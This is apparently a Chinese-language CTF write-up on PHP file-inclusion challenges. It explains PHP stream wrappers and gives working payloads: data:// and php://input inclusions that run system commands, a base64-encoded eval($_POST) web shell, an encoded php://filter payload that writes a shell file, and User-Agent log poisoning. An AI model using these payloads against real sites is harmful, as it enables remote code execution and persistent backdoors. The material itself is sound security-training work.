ctf文件包含

⽂件包含,通过PHP函数引⼊⽂件时,传⼊的⽂件名没有经过合理的验证,从⽽操作 了预想之外的⽂件,就可能导致意外的⽂件泄漏甚⾄恶意代码注⼊。

产⽣的条件: 常⻅的包含,在之前做命令执⾏的时候也已经⽤过了 include() require() include_once() require_once() 此外,常⽤的还有之前在web37写的伪协议,这⾥再复制过来

72 总: file:// 协议 php:// 协议 zip:// bzip2:// zlib:// 协议 data:// 协议 http:// 协议 https://协议 phar:// 协议 分: file:// 协议: 条件 allow_url_fopen:off/on allow_url_include :off/on 作⽤:⽤于访问本地⽂件系统。在include()/require()等参数可控的情况下,如果导⼊⾮ php⽂件也会被解析为php ⽤法:1.file://[⽂件的绝对路径和⽂件名] 2.[⽂件的相对路径和⽂件名] 3.[http://⽹络路径和⽂件名] php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memor y php://temp 需要on allow_url_fopen:off/on 作⽤:php:// 访问各个输⼊/输出流(I/O streams),在CTF中经常使⽤的是php://fi lter和php://input,php://filter⽤于读取源码,php://input⽤于执⾏php代码 php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read =(可选) write=(可选) 对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、 string.strip_tags、convert.base64-encode & convert.base64-decode

⽤法举例:php://filter/read=convert.base64-encode/resource=flag.p hp zip:// bzip2:// zlib:// 协议: 条件:allow_url_fopen:off/on allow_url_include :off/on 作⽤:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩⽂件中的⼦⽂ 件,更重要的是不需要指定后缀名 ⽤法:zip://[压缩⽂件绝对路径]%23[压缩⽂件内的⼦⽂件名] compress.bzip2://file.bz2 compress.zlib://file.gz 其中phar://和zip://类似 data:// 协议: 条件:allow_url_fopen:on allow_url_include :on 作⽤:可以使⽤data://数据流封装器,以传递相应格式的数据。通常可以⽤来执⾏PHP 代码。 ⽤法:data://text/plain, data://text/plain;base64, 举例:data://text/plain, data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

web78

利用php伪协议的data协议和input协议都能解。

传参 file=data://text/plain,<?php system("ls");?>,查看目录,然后传参 file=data://text/plain,<?php system("tac flag.php");?>,拿到flag。

或者传参 file=php://input 同时内容为 ?php system("ls");?>,查看目录

不知道为什么cat用不了,只能yongtac

web79

和上一关差不多过滤了php,使用data和php短标签

web80

过滤了data和php,data不能⼤⼩写绕过,使用日志文件包含

然后将一句话写入ua头

web81

多过滤了一个:号,远程文件包含和大小写绕过不行了,只能用日志包含

还是和上一关一样,用ua头

web87

将如果file出现phpdata:.就会替换成???,

urldecode对file进行解码,最后面加上$content

file_put_contents 函数创建或修改由 $file 变量指定的文件,并写入固定的 PHP 代码 "<?php die('大佬别秀了');?>" 加上 $content 变量的内容。

看到这里直接试试通过编码写入东西

die函数需要绕过,避免程序终止。

使用base64绕过

因为base64解密为4字节为一组,并且base64编码中只包含64个可打印字符。其他的字符都将被忽略掉,故 <?php die()> 会变成 phpdie,因此需在加两个字节变成8个字节

使用php伪协议将base64的一句话写入文件,然后连接或者命令执行

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%61%25%36%39%25%37%35%25%37%61%25%36%38%25%36%35%25%36%65%25%32%65%25%37%30%25%36%38%25%37%30

aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

jiuzhen.php

web88

file包含禁止的符号,就会执行die解释

include 函数会将指定文件的内容复制到当前位置,并且执行该文件中的代码。

这里没有过滤data协议,也没有过滤分号,可以使用data先传入一句话

data://text/plain; base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg

一句话要用base64加密,后面的==可以删除,没有影响,只是一个标志

web116

访问之后发现是一个视频,用f12看了看也,没什么有用的东西,就将视频下载下来了,用随波逐流看了一下发现有一个隐藏文件

第一次用的Binwalk文件提取 第二次用的Foremost文件提取

Binwalk是Linux下用来分析和分离文件的工具,可以快速分辨文件是否由多个文件合并而成,并将文件进行分离。如果分离成功会在目标文件的目录。有压缩包自动解压

foremost,将目标文件复制到 kali 中,成功执行后,会在目标文件的文件目录下生成我们设置的目录,目录中会按文件类型分离出文件。有压缩包不会自动解压

分离之后有一个图片和一个MP3(打不开)

从代码里也没什么发现,过滤了一些东西,直接进行包含试试,发现通过f12不行,用了bp

data://协议 通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

php://input协议 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当表单 enctype=multipart/form-data 时,php://input将会无效

看了一下只能通过直接包含,写入不了一句话了

web117

禁用了input和data

和上面的web87有点像

通过?file=php://filter/写入文件

查看发现不行,进行了换位,通过反向操作构造

?<hp pvela$(G_TE'['a)] ;>?
相关推荐
带电的小王2 小时前
whisper.cpp: Android端测试 -- Android端手机部署音频大模型
android·智能手机·llm·whisper·音频大模型·whisper.cpp
LuiChun5 小时前
django的model.py admin.py views.py 中 的可循环遍历的 精简案例
android·数据库·django
工程师老罗5 小时前
Android笔试面试题AI答之SQLite(3)
android·jvm·sqlite
小Tomkk7 小时前
火山引擎FORCE:智算能力全面升级
android·数据库·火山引擎
码狂☆13 小时前
源码编译llama.cpp for android
android·人工智能·llama
Steve_XiaoHai13 小时前
AndroidStudio XML不识别自定义控件
android·自定义控件
2401_8576363915 小时前
SSM 寝室管理系统:为住宿生活保驾护航
android·数据库·生活
校园卡已办19 小时前
PHP木马编写
android·开发语言·php
每天进步一大步20 小时前
webSokect安卓和web适配的Bug 适用实时语音场景
android·前端·bug·web